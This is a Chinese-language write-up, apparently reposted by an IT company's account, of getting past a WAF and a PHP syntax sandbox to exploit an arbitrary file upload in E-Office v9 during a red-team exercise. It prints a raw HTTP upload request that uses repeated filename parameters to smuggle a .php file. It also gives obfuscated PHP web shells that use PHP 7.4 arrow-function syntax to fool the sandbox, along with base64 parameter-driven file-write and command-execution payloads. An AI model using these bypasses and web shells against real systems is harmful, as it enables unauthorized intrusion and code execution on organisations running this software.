大数跨境

记一次PHP文件上传WAF+沙盒绕过

记一次PHP文件上传WAF+沙盒绕过 河北镌远网络科技有限公司
2022-11-09
2
导读:打了一场护网遇到了好几个这样的环境,在这里记录一下绕过过程。

  点击下方卡片一键关注

正文

打了一场护网遇到了好几个这样的环境,在这里记录一下绕过过程。


如下的为本地伪造环境,目标系统E-Office v9,存在任意文件上传漏洞。

首先需要绕过的是php的文件后缀,如下:
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1Host: 192.168.1.70User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Connection: closeAccept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348Content-Length: 2108Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4Content-Disposition: form-data; name="file"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="test.png"; filename="2.phpContent-Type: image/jpeg
2222
--e64bdf16c554bbc109cecef6451c26a4--
成功绕过了PHP后缀名的拦截,然后现在需要绕过内容的过滤了。首先是发现他并不支持 <?  这种段标签的方式。


虽然上传成功,但是呢,没办法执行。
然后还拦截一些常用的一些函数之类的,尝试进行绕过

但是!!!!!只要有 号就进行拦截。

<?php file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );
然后尝试了很多方式进行这个分号绕过,然后发现这样子就不拦截。
<?php 12321312file_put_contents   ('1.php'  ,    file_get_contents          (                  ' http://127.0.0.1/png.txt'  )        );

最终确定为他是一个沙盒,就是 PHP 内容能被 php 语法支持的情况下就拦截,语法不支持的情况下就放行,那么绕过思路就有了。


他默认返回的是:X-Powered-By: PHP/7.4.28,那么是否可以通过 PHP7.4 的特性来进行让他沙盒报错呢,从而达到绕过的效果,如下:

然后就是写木马了,然后发现使用 file_get_contents  远程下载文件为空,在想是不是不出网,使用另外一种方式。

<?php 
array_map(fn (User $user) => $user->id, $users);$a=str_replace('hhh','bas', $_GET[1]);
file_put_contents ($a($_GET[3]) , $a ( $a ( $_POST[a] ) ) )
;
使用方式为:
?1=hhhe64_decode&3=dHR0LnBocA==&a=马子内容双层base64
使用base64进行写文件、但是发现写了很多个木马都连接不上,尝试写了一个 cmd 的木马。
<?phparray_map(fn (User $user) => $user->id, $users);$b=str_replace('ccc','bas', $_GET[2]);$b($b($_GET[1]))($b($_GET[3]));

发现执行 whoami、ipconfig 都会卡30S以上,最终会执行成功,但是执行其他的就会直接被拦截死,最终通过黑加白的方式进行上线的。

文章来源:print("")博客



为网络安全保驾护航
为网络安全勇往直前

本文仅代表作者个人观念,不代表本公众号立场。本公众号转载此图文,仅出于传播更多资讯之目的。如有侵权或违规请及时联系我们,我们将立即予以删除!

如果我们的文章对你有帮助,就把我们“设为星标”吧!

↓↓

3秒加星标,这样就不容易错过文章推送啦!


往期回顾

一次持续的邮件钓鱼攻击的简单溯源分析
联想超70款笔记本电脑被曝新型UEFI固件漏洞



请长按下方图片

识别二维码 关注河北镌远

为客户创造价值

与客户共同成长



【声明】内容源于网络
0
0
河北镌远网络科技有限公司
河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
内容 0
粉丝 0
河北镌远网络科技有限公司 河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
总阅读0
粉丝0
内容0